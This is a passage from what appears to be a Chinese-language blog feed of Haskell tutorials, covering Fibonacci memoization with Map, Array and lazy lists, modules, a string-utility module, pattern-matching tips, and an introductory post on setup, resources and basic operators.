class="type">Int</span> -&gt; <span class="type">Map</span> <span class="type">Int</span> <span class="type">Integer</span> -&gt; (<span class="type">Integer</span>, <span class="type">Map</span> <span class="type">Int</span> <span class="type">Integer</span>)</span><br><span class="line">    fib&#x27; <span class="number">0</span> cache = (<span class="number">0</span>, cache)</span><br><span class="line">    fib&#x27; <span class="number">1</span> cache = (<span class="number">1</span>, cache)</span><br><span class="line">    fib&#x27; n cache =</span><br><span class="line">      <span class="keyword">case</span> <span class="type">Map</span>.lookup n cache <span class="keyword">of</span></span><br><span class="line">        <span class="type">Just</span> value -&gt; (value, cache)</span><br><span class="line">        <span class="type">Nothing</span> -&gt;</span><br><span class="line">          <span class="keyword">let</span> (fibNMinus1, cache1) = fib&#x27; (n - <span class="number">1</span>) cache</span><br><span class="line">              (fibNMinus2, cache2) = fib&#x27; (n - <span class="number">2</span>) cache1</span><br><span class="line">              value = fibNMinus1 + fibNMinus2</span><br><span class="line">          <span class="keyword">in</span> (value, <span class="type">Map</span>.insert n value cache2) <span class="comment">-- Map.insert :: Ord k =&gt; k -&gt; a -&gt; Map k a -&gt; Map k a</span></span><br></pre></td></tr></table></figure><p>当然也有 <code>Array</code> 类型，可以完成类似地功能。但是性能不太好</p><figure class="highlight haskell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="title">fibArray</span> :: <span class="type">Int</span> -&gt; <span class="type">Integer</span></span><br><span class="line"><span class="title">fibArray</span> n = fib&#x27; n (listArray (<span class="number">0</span>, n) (repeat <span class="type">Nothing</span>))</span><br><span class="line">  <span class="keyword">where</span></span><br><span class="line">    fib&#x27; :: <span class="type">Int</span> -&gt; <span class="type">Array</span> <span class="type">Int</span> (<span class="type">Maybe</span> <span class="type">Integer</span>) -&gt; <span class="type">Integer</span></span><br><span class="line">    fib&#x27; <span class="number">0</span> cache = <span class="number">0</span></span><br><span class="line">    fib&#x27; <span class="number">1</span> cache = <span class="number">1</span></span><br><span class="line">    fib&#x27; n cache = <span class="keyword">case</span> cache ! n <span class="keyword">of</span></span><br><span class="line">      <span class="type">Just</span> value -&gt; value</span><br><span class="line">      <span class="type">Nothing</span> -&gt;</span><br><span class="line">        <span class="keyword">let</span> value = fib&#x27; (n - <span class="number">1</span>) cache + fib&#x27; (n - <span class="number">2</span>) cache</span><br><span class="line">            newCache = cache // [(n, <span class="type">Just</span> value)]</span><br><span class="line">        <span class="keyword">in</span> fib&#x27; n newCache</span><br></pre></td></tr></table></figure><p>另外一种写法则是利用惰性求值和 memorization</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">fibList :: [Integer]</span><br><span class="line">fibList = 0 : 1 : zipWith (+) fibList (tail fibList)</span><br><span class="line"></span><br><span class="line">fib :: Int -&gt; Integer</span><br><span class="line">fib n = fibList !! n</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>对比的结果如下：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">ghci&gt; fibOriginal 25</span><br><span class="line">75025</span><br><span class="line">(0.41 secs, 43,998,040 bytes)</span><br><span class="line">ghci&gt; fibList 25</span><br><span class="line">75025</span><br><span class="line">(1.41 secs, 251,086,536 bytes)</span><br><span class="line">ghci&gt; fibArray 25</span><br><span class="line">75025</span><br><span class="line">(0.72 secs, 160,534,712 bytes)</span><br><span class="line">ghci&gt; fibMap 25</span><br><span class="line">75025</span><br><span class="line">(0.00 secs, 98,448 bytes)</span><br><span class="line">ghci&gt; fibBest 25</span><br><span class="line">75025</span><br><span class="line">(0.01 secs, 70,696 bytes)</span><br></pre></td></tr></table></figure><ol><li><code>fibOriginal</code>：编译器有优化。</li><li><code>fibList</code>：每次都要遍历列表，表现差</li><li><code>fibArray</code>：更新时要复制整个数组，导致较高的内存消耗。</li><li><code>fibMap</code>：这是使用 <code>Data.Map</code> 的实现，它是一个平衡二叉搜索树。<code>Data.Map</code> 的更新操作通常比数组更新更高效，因为它可以重用未更改的部分。此外，查找操作也非常快，性能接近 O(log n)。</li><li><code>fibBest</code>：则使用了惰性求值和 Memorization，而且也用上了内置的优化。</li></ol><h2 id="模块">模块</h2><p>模块是组织和管理代码的基本单位。模块可以包含函数、类型、变量等定义，并将它们导出到其他模块中供使用。模块还可以导入其他模块中的定义，并在自己的代码中使用它们。</p><p>要定义一个模块，需要使用 <code>module</code> 关键字，后面跟着模块的名称和导出的定义列表。例如：</p><figure class="highlight haskell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">module</span> MyModule (</span><br><span class="line">    <span class="title">someFunction</span>,</span><br><span class="line">    <span class="title">someType</span>,</span><br><span class="line">    <span class="title">someVariable</span></span><br><span class="line">) <span class="keyword">where</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- 定义一些函数、类型、变量等</span></span><br><span class="line"></span><br></pre></td></tr></table></figure><p>在这个例子中，我们定义了一个名为 <code>MyModule</code> 的模块，并导出了一些定义，包括一个函数 <code>someFunction</code>、一个类型 <code>someType</code> 和一个变量 <code>someVariable</code>。这些定义可以在其他模块中使用，但如果没有在导出列表中明确导出，它们将无法访问。</p><p>下面是一个简单的 Haskell 模块，包含了一些常用的字符串操作函数，如<code>splitOn</code>（用于根据指定的分隔符将列表分割成子列表）、<code>joinWith</code>（用于连接子列表）、<code>startsWith</code>、<code>endsWith</code>（分别用于检查列表是否以给定的前缀/后缀开始/结束）、<code>toLowerStr</code>、<code>toUpperStr</code>（分别用于将字符列表转换为小写/大写）以及<code>trim</code>（用于删除字符列表前后的空白字符）。</p><figure class="highlight haskell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">module</span> StringUtil</span><br><span class="line">  ( <span class="title">splitOn</span></span><br><span class="line">  , <span class="title">joinWith</span></span><br><span class="line">  , <span class="title">startsWith</span></span><br><span class="line">  , <span class="title">endsWith</span></span><br><span class="line">  , <span class="title">toLowerStr</span></span><br><span class="line">  , <span class="title">toUpperStr</span></span><br><span class="line">  , <span class="title">trim</span></span><br><span class="line">  , <span class="title">isSpace</span></span><br><span class="line">  ) <span class="keyword">where</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> Data.Char (<span class="title">isSpace</span>, <span class="title">toLower</span>, <span class="title">toUpper</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment">-- | 根据指定的分隔符将列表分割成子列表。</span></span><br><span class="line"><span class="title">splitOn</span> :: <span class="type">Eq</span> a =&gt; a -&gt; [a] -&gt; [[a]]</span><br><span class="line"><span class="title">splitOn</span> _ [] = []  <span class="comment">-- 如果输入列表为空，则返回空列表</span></span><br><span class="line"><span class="title">splitOn</span> sep list = <span class="keyword">case</span> break (== sep) list <span class="keyword">of</span></span><br><span class="line">  (chunk, []) -&gt; [chunk] <span class="comment">-- 如果找不到分隔符，则返回整个列表作为唯一的子列表</span></span><br><span class="line">  (chunk, _ : rest) -&gt; chunk : splitOn sep rest <span class="comment">-- 如果找到分隔符，将分割出的子列表添加到结果中，并继续处理剩余部分</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- | 使用指定的分隔符连接子列表。</span></span><br><span class="line"><span class="title">joinWith</span> :: a -&gt; [[a]] -&gt; [a]</span><br><span class="line"><span class="title">joinWith</span> _ [] = [] <span class="comment">-- 如果输入的子列表列表为空，则返回空列表</span></span><br><span class="line"><span class="title">joinWith</span> _ [x] = x <span class="comment">-- 如果输入的子列表列表只有一个元素，则返回该元素</span></span><br><span class="line"><span class="title">joinWith</span> sep (x:xs) = x ++ sep : joinWith sep xs <span class="comment">-- 在当前子列表和下一个子列表之间添加分隔符，并递归处理剩余部分</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- | 检查列表是否以指定的前缀开始。</span></span><br><span class="line"><span class="title">startsWith</span> :: <span class="type">Eq</span> a =&gt; [a] -&gt; [a] -&gt; <span class="type">Bool</span></span><br><span class="line"><span class="title">startsWith</span> [] _ = <span class="type">True</span>  <span class="comment">-- 如果前缀为空，则始终返回True</span></span><br><span class="line"><span class="title">startsWith</span> _ [] = <span class="type">False</span> <span class="comment">-- 如果待检查列表为空但前缀不为空，则返回False</span></span><br><span class="line"><span class="title">startsWith</span> (x:xs) (y:ys) = x == y &amp;&amp; startsWith xs ys <span class="comment">-- 比较列表中的每个元素，并递归处理剩余部分</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- | 检查列表是否以指定的后缀结束。</span></span><br><span class="line"><span class="title">endsWith</span> :: <span class="type">Eq</span> a =&gt; [a] -&gt; [a] -&gt; <span class="type">Bool</span></span><br><span class="line"><span class="title">endsWith</span> xs ys = startsWith (reverse xs) (reverse ys)</span><br><span class="line"><span class="comment">-- 反转输入的列表和后缀，然后调用 startsWith 函数来检查反转后的列表是否以反转后的后缀开始</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- | 将字符列表转换为小写。</span></span><br><span class="line"><span class="title">toLowerStr</span> :: [<span class="type">Char</span>] -&gt; [<span class="type">Char</span>]</span><br><span class="line"><span class="title">toLowerStr</span> = map <span class="type">Data</span>.<span class="type">Char</span>.toLower <span class="comment">-- 使用 Data.Char.toLower 函数将每个字符转换为小写</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- | 将字符列表转换为大写。</span></span><br><span class="line"><span class="title">toUpperStr</span> :: [<span class="type">Char</span>] -&gt; [<span class="type">Char</span>]</span><br><span class="line"><span class="title">toUpperStr</span> = map <span class="type">Data</span>.<span class="type">Char</span>.toUpper <span class="comment">-- 使用 Data.Char.toUpper 函数将每个字符转换为大写</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- | 删除字符列表前后的空白字符。</span></span><br><span class="line"><span class="title">trim</span> :: [<span class="type">Char</span>] -&gt; [<span class="type">Char</span>]</span><br><span class="line"><span class="title">trim</span> = f . f</span><br><span class="line">  <span class="keyword">where</span> f = reverse . dropWhile isSpace</span><br><span class="line">  <span class="comment">-- 定义辅助函数 f，它首先删除列表开头的空白字符，然后反转列表</span></span><br><span class="line">  <span class="comment">-- 对输入列表应用两次 f 函数，以分别去除前导和尾随的空白字符</span></span><br><span class="line"></span><br></pre></td></tr></table></figure><p>测试的结果如下：</p><figure class="highlight haskell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line"><span class="title">ghci</span>&gt; :load str.hs</span><br><span class="line">[<span class="number">1</span> <span class="keyword">of</span> <span class="number">1</span>] <span class="type">Compiling</span> <span class="type">StringUtil</span>       ( str.hs, interpreted )</span><br><span class="line"><span class="type">Ok</span>, one <span class="keyword">module</span> loaded.</span><br><span class="line"></span><br><span class="line">ghci&gt; s = &quot;haha I&#x27;d like talk with you!&quot;</span><br><span class="line"></span><br><span class="line">ghci&gt; splitOn &#x27; &#x27; s</span><br><span class="line"></span><br><span class="line">[&quot;haha&quot;,&quot;I&#x27;d&quot;,&quot;like&quot;,&quot;talk&quot;,&quot;with&quot;,&quot;you!&quot;]</span><br><span class="line"></span><br><span class="line">ghci&gt; joinWith &#x27; &#x27; $ splitOn &#x27; &#x27; s</span><br><span class="line">&quot;haha I&#x27;d like talk with you!&quot;</span><br><span class="line"></span><br><span class="line">ghci&gt; startsWith &quot;I&quot; s</span><br><span class="line">False</span><br><span class="line"></span><br><span class="line">ghci&gt; startsWith &quot;ha&quot; s</span><br><span class="line">True</span><br><span class="line"></span><br><span class="line">ghci&gt; toLowerStr s</span><br><span class="line">&quot;haha i&#x27;d like talk with you!&quot;</span><br><span class="line"></span><br><span class="line">ghci&gt; toUpperStr s</span><br><span class="line">&quot;HAHA I&#x27;D LIKE TALK WITH YOU!&quot;</span><br><span class="line"></span><br><span class="line">ghci&gt; s_blank = &quot;   &quot;++s++&quot;  &quot;</span><br><span class="line"></span><br><span class="line">ghci&gt; s_blank</span><br><span class="line">&quot;   haha I&#x27;d like talk with you!  &quot;</span><br><span class="line"></span><br><span class="line">ghci&gt; trim s_blank</span><br><span class="line">&quot;haha I&#x27;d like talk with you!&quot;</span><br><span class="line"></span><br><span class="line">ghci&gt; :q</span><br></pre></td></tr></table></figure><h2 id="最后的话">最后的话</h2><p>前面已经介绍过基础知识了，读者已经有了自己深入学习的基础。如果希望能够实际写出程序，那么可以完成<a href="https://github.com/kowainik/learn4haskell">Learn4Haskell</a>，学习自定义类型、typeclass 和 instance、newtype、带参类型、Externtion、Functor、Applicatives、Monads。</p><p>我这里会给出一些经验。</p><ol><li><p><code>where</code> 子句中的模式匹配应该使用 <code>case</code> 语句，而不能直接在 <code>where</code> 子句中进行。在 <code>where</code> 子句中的等式左边不能出现模式。下面的例子是错误的，它用分支来代替了模式匹配，但是 where 子句不行。</p><figure class="highlight haskell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="title">buildWalls</span> city</span><br><span class="line">  | canBuildHouse = city &#123;cityCastle = <span class="type">CastleWithWalls</span> name&#125;</span><br><span class="line">  | otherwise = city</span><br><span class="line">  <span class="keyword">where</span></span><br><span class="line">    canBuildHouse</span><br><span class="line">      | <span class="type">Castle</span> name = totalPeople &gt;= <span class="number">10</span></span><br><span class="line">      | otherwise = <span class="type">False</span></span><br><span class="line">      totalPeople = sum . map (\(<span class="type">House</span> people) -&gt; people) $ cityHouses city</span><br></pre></td></tr></table></figure></li><li><p>匿名函数中可以使用模式匹配，比如 <code>\(House people) -&gt; people</code> 就是匹配 <code>House</code> 类型，提取它的值。<strong>提取自定义类型的变量的值的方式，一般采用模式匹配，嵌套就多次模式匹配</strong>。函数传参也是获取了一次值。模式匹配的语法如下：</p><ol><li><p>分开写函数。</p><figure class="highlight haskell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="title">f</span> :: <span class="type">Int</span> -&gt; <span class="type">String</span></span><br><span class="line"><span class="title">f</span> <span class="number">0</span> = <span class="string">&quot;Zero&quot;</span></span><br><span class="line"><span class="title">f</span> <span class="number">1</span> = <span class="string">&quot;One&quot;</span></span><br></pre></td></tr></table></figure></li><li><p><code>case .. of ..</code> 类型的匹配。<strong>case 表达式后面一定紧接一个表达式，不能再用 guard 语法</strong></p></li></ol><figure class="highlight haskell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="title">describeList</span> :: [a] -&gt; <span class="type">String</span></span><br><span class="line"><span class="title">describeList</span> xs = <span class="string">&quot;The list is &quot;</span> ++ <span class="keyword">case</span> xs <span class="keyword">of</span></span><br><span class="line">  [] -&gt; <span class="string">&quot;empty.&quot;</span></span><br><span class="line">  [x] -&gt; <span class="string">&quot;a singleton list.&quot;</span></span><br><span class="line">  _ -&gt; <span class="string">&quot;a longer list.&quot;</span></span><br></pre></td></tr></table></figure><ol start="3"><li><p>使用 <code>@</code> 的模式匹配。注意如果 <code>allx@(x:xs)</code> 中 <code>allx</code> 没有用到，建议使用 <code>(x:xs)</code> 代替。</p><figure class="highlight haskell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="title">longestPrefix</span> :: <span class="type">Eq</span> a =&gt; [a] -&gt; [a] -&gt; [a]</span><br><span class="line"><span class="title">longestPrefix</span> [] _ = []</span><br><span class="line"><span class="title">longestPrefix</span> _ [] = []</span><br><span class="line"><span class="title">longestPrefix</span> allx@(x:xs) ally@(y:ys)</span><br><span class="line">  | x == y = x : longestPrefix xs ys</span><br><span class="line">  | otherwise = []</span><br></pre></td></tr></table></figure></li></ol><p>使用模式匹配的情况有:</p><ol><li>字面值处理。</li><li>列表递归，空列表的情况。</li><li>提取复杂类型或者容器特定位置的值。</li><li>Maybe/Just 类型匹配。</li></ol><p>比如我们的例子，可以下面这样写。其中尽量把局部表达式写在子句中，这样变量名可以非常方便的说明逻辑：</p><figure class="highlight haskell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="title">buildWalls</span> :: <span class="type">MagicalCity</span> -&gt; <span class="type">MagicalCity</span></span><br><span class="line"><span class="title">buildWalls</span> city = <span class="keyword">case</span> cityCastle city <span class="keyword">of</span></span><br><span class="line">  (<span class="type">Castle</span> name) -&gt; <span class="keyword">if</span> enoughPopulation  <span class="keyword">then</span> createWalls name  <span class="keyword">else</span> city</span><br><span class="line">  _ -&gt; city</span><br><span class="line">  <span class="keyword">where</span></span><br><span class="line">    createWalls name = city &#123;cityCastle = <span class="type">CastleWithWalls</span> name&#125;</span><br><span class="line">    enoughPopulation = totalPeople &gt;= <span class="number">10</span></span><br><span class="line">    totalPeople = sum . map (\(<span class="type">House</span> people) -&gt; people) $ cityHouse city</span><br></pre></td></tr></table></figure></li><li><p>类型也有自己的类型，可以作为其他类型的参数。比较典型的是容器比如 <code>[]</code>、<code>Maybe</code>、<code>Either</code></p><figure class="highlight haskell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">data</span> <span class="type">IntBox</span> f = <span class="type">MkIntBox</span> (<span class="title">f</span> <span class="type">Int</span>)</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- 变成了 MkIntBox Maybe Int</span></span><br><span class="line"><span class="title">intBoxMaybe</span> :: <span class="type">IntBox</span> <span class="type">Maybe</span></span><br><span class="line"><span class="title">intBoxMaybe</span> = <span class="type">MkIntBox</span> (<span class="type">Just</span> <span class="number">42</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 变成了 MkIntBox [] Int，也就是 MkInt Box [Int]</span></span><br><span class="line"><span class="title">intBoxList</span> :: <span class="type">IntBox</span> []</span><br><span class="line"><span class="title">intBoxList</span> = <span class="type">MkIntBox</span> [<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>]</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 变成了 MkIntBox Ether String Int</span></span><br><span class="line"><span class="title">intBoxEither</span> :: <span class="type">IntBox</span> (<span class="type">Either</span> <span class="type">String</span>)</span><br><span class="line"><span class="title">intBoxEither</span> = <span class="type">MkIntBox</span> (<span class="type">Right</span> <span class="number">10</span>)</span><br></pre></td></tr></table></figure></li></ol>]]>
    </content>
    <id>https://www.blog-blockchain.xyz/fp/FP-haskell-2/</id>
    <link href="https://www.blog-blockchain.xyz/fp/FP-haskell-2/"/>
    <published>2022-08-29T13:50:33.000Z</published>
    <summary>深入学习Haskell函数式编程核心概念，包括递归、高阶函数、柯里化、匿名函数等进阶特性，以及函数组合和惰性求值的实际应用。</summary>
    <title>Haskell(二)函数式编程</title>
    <updated>2026-02-19T16:18:01.154Z</updated>
  </entry>
  <entry>
    <author>
      <name>Michael L</name>
    </author>
    <category term="functional language" scheme="https://www.blog-blockchain.xyz/categories/functional-language/"/>
    <category term="Haskell" scheme="https://www.blog-blockchain.xyz/tags/Haskell/"/>
    <content>
      <![CDATA[<blockquote><ol class="series-items"><li><a href="/fp/FP-haskell-1/" title="Haskell(一)入门">Haskell(一)入门</a></li><li><a href="/fp/FP-haskell-2/" title="Haskell(二)函数式编程">Haskell(二)函数式编程</a></li><li><a href="/fp/monad/" title="Haskell(三) Monad">Haskell(三) Monad</a></li><li><a href="/fp/Haskell-summary-toolchain/" title="Haskell(四)总结和工具链">Haskell(四)总结和工具链</a></li><li><a href="/fp/Haskell-epilogue/" title="Haskell(五) 总结和展望">Haskell(五) 总结和展望</a></li><li><a href="/fp/project-euler/" title="Haskell(六) Project Euler 练习1-26">Haskell(六) Project Euler 练习1-26</a></li></ol></blockquote><h2 id="前言">前言</h2><p>这个系列主要介绍典型的<strong>函数式程序设计语言</strong>（Functional programming languages，FP）和<strong>逻辑式程序设计语言</strong>（Logic programming languages，LP），将会分别以 Haskell 和 datalog（主要是 souffle）作为例子，简单的入门和理解。</p><p>理解典型的 FP 对于深入学习程序设计语言挺好处的。我们先从 haskell 开始</p><p>参考资料：</p><ul><li><a href="https://www.haskell.org/">haskell 官网</a></li><li><a href="https://flaneur2020.github.io/lyah/chapters.htm">Haskell 趣学指南</a>，<a href="http://learnyouahaskell.com/">英文原版</a>也很不错。</li><li>快速查阅<a href="https://downloads.haskell.org/ghc/latest/docs/libraries/">库文档</a></li><li>最推荐的查阅手册，能够直接点击 Quick Jump 搜索关键词，这也是我最常用的<a href="https://hackage.haskell.org/package/base-4.17.0.0/docs/Prelude.html">文档</a></li><li><a href="https://wiki.haskell.org/Haskell">官方 WiKi</a>如果有不懂的术语，那么很推荐先在 wiki 上查找。</li><li>可以参考的<a href="https://www.seas.upenn.edu/~cis1940/spring13/lectures.html">入门课程</a></li><li><a href="https://t.me/haskellzh/4310">资源汇总</a></li><li><a href="https://t.me/haskellzh">交流学习群</a>、<a href="https://t.me/haskell_zh_2">交流学习群 2</a></li><li><a href="https://tryhaskell.org/">在线交互解释器</a>，适合不配置环境就开始学习。</li><li><a href="https://youtu.be/vn1IOxVplKQ">视频教程</a>和对应<a href="https://github.com/dalvescb/LearningHaskell_Exercises">练习答案</a></li></ul><hr><p>Haskell 的设计思路和普通命令式语言不同，读者将会遇到思维上的转变，从类 C 语言的变量、指针、内存、控制流的基本思想，到递归、表达式、变量替换和绑定的基本思想。我粗浅的理解里，印象最深的是无处不在的递归思维，递归贯穿了整个设计理念。并且放弃变量控制状态+控制流的传统命令式语言方式，彻底的用函数表现所有流程。</p><p>为了与 lambda 演算匹配，Functor 的思想也贯穿着整个表达式替换的过程，函数柯里化的过程让表达式嵌套变得更加自然，这些语法糖的支持，使得 Haskell 能够完成一般的任务。</p><p>然而，表达式嵌套的过程，各种新奇的语法糖，增大了从 C 系语言迁移到函数式语言的难度，而且函子(functor)的引入使得初学者难以把握抽象表达式的嵌套。学习新的语言设计范式可能理论价值高于实际价值。</p><p>我从这些天的学习中，提升的能力大致是：</p><ul><li>初步从编程的角度理解 lambda 演算，有利于后续可能的深入学习。</li><li>自然而然地养成了递归思想，写程序往往会优先考虑递归。对于有规律地过程，递归和模式匹配的表现力很强。但是对于描述流程来说，可能 C 系语言更加自然。</li><li>这是程序设计语言的三大范式之一，有利于深入学习程序设计语言和程序分析方向。</li></ul><h2 id="安装和下载">安装和下载</h2><p>Haskell 式函数式编程语言，安装教程详情见<a href="https://www.haskell.org/downloads/">官网</a>。除了官网推荐的安装方式，还可以使用包管理工具，尽量避免自行下载安装。</p><p>之后建议使用 VScode 编辑，如果已经完全安装了 Haskell 后，直接下载<a href="https://marketplace.visualstudio.com/items?itemName=haskell.haskell">插件</a>，即可有代码智能提示。其他 IDE 可见 <a href="https://wiki.haskell.org/IDEs">wiki</a>。</p><h2 id="haskell-简介">haskell 简介</h2><p>官网就写的很好</p><ul><li><p>Statically typed——强静态类型</p><p><strong>Every expression in Haskell has a type which is determined at compile time</strong>. All the types composed together by function application have to match up. If they don’t, the program will be rejected by the compiler. Types become not only a form of guarantee, but a language for expressing the construction of programs.</p><p>也就是说静态的强类型系统。</p></li><li><p>Purely functional——纯函数式</p><p>Every function in Haskell is a function in the mathematical sense (i.e., “pure”). Even side-effecting IO operations are but a description of what to do, produced by pure code. There are no statements or instructions, only expressions which cannot mutate variables (local or global) nor access state like time or random numbers.</p><p>函数不存在“状态”，只有“如何处理”的逻辑，基础是<a href="https://baike.baidu.com/item/%CE%BB%E6%BC%94%E7%AE%97">λ 演算</a></p></li><li><p>Type inference——一定的类型推断</p><p>You don’t have to explicitly write out every type in a Haskell program. Types will be inferred by unifying every type bidirectionally. However, you can write out types if you choose, or ask the compiler to write them for you for handy documentation.</p></li><li><p>Concurrent</p><p>Haskell lends itself well to concurrent programming <strong>due to its explicit handling of effects</strong>. Its flagship compiler, GHC, comes with <strong>a high-performance parallel garbage collector</strong> and light-weight concurrency library containing a number of useful concurrency primitives and abstractions.</p></li></ul><h2 id="运算符">运算符</h2><p>主要来自 <a href="https://rwh.readthedocs.io/en/latest/index.html">Real World Haskell 中文版</a>，也是写的不错的书。</p><p><strong>ghci</strong> 程序是 GHC 的交互式解析器。它可以让用户输入 Haskell 表达式并对其求值，浏览模块以及调试代码。如果你熟悉 Python 或是 Ruby，那么 ghci 一定程度上和 <code>python</code>，<code>irb</code> 很像，这两者分别是 Python 和 Ruby 的交互式解析器。</p><ol><li><code>+</code> <code>-</code> <code>*</code> <code>/</code> 都是常见的二元运算符，基本和其他语言一致。<code>-</code> 作为负号时，这个一元运算符需要添加括号。注意 <code>/</code> jie’gu</li></ol><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">Prelude&gt; 2+-3</span><br><span class="line"></span><br><span class="line">&lt;interactive&gt;:2:2: error:</span><br><span class="line">    • Variable not in scope: (+-) :: t0 -&gt; t1 -&gt; t</span><br><span class="line">    • Perhaps you meant one of these:</span><br><span class="line">        ‘+’ (imported from Prelude), ‘-’ (imported from Prelude),</span><br><span class="line">        ‘++’ (imported from Prelude)</span><br><span class="line">Prelude&gt; 2+(-3)</span><br><span class="line">-1</span><br></pre></td></tr></table></figure><p>总而言之，符号 在 Haskell 中非常重要。</p><ol start="2"><li><p>Haskell 中表示布尔逻辑的值有这么两个：<code>True</code>和<code>False</code>。名字中的大写很重要。作用于布尔值得操作符类似于 C 语言的情况：<code>(&amp;&amp;)</code>表示“逻辑与”，<code>(||)</code>表示“逻辑或”。<strong>需要注意，0 /= False</strong>，这是强类型的语言，非 0 值也不是 True</p></li><li><p><code>!=</code> 在这里的写法不同，而是<code>/=</code></p></li><li><p><code>++</code> 表示为列表连接。<code>Prelude&gt; [1,2,3]++[4,5,6]</code> 结果是 <code> [1,2,3,4,5,6]</code></p></li><li><p><code>:</code> 是二元操作符，用于增加一个元素到列表的头部，第一个操数是元素，第二个操作数是列表，<code>Prelude&gt; 0:[1,2,3]++[4,5,6] </code> 结果是 <code> [0,1,2,3,4,5,6]</code></p></li></ol><p>更多的，建议读者多<a href="https://hackage.haskell.org/package/base-4.17.0.0/docs/Prelude.html">阅读文档</a>，官方的文档永远是最好的参考手册。</p><h2 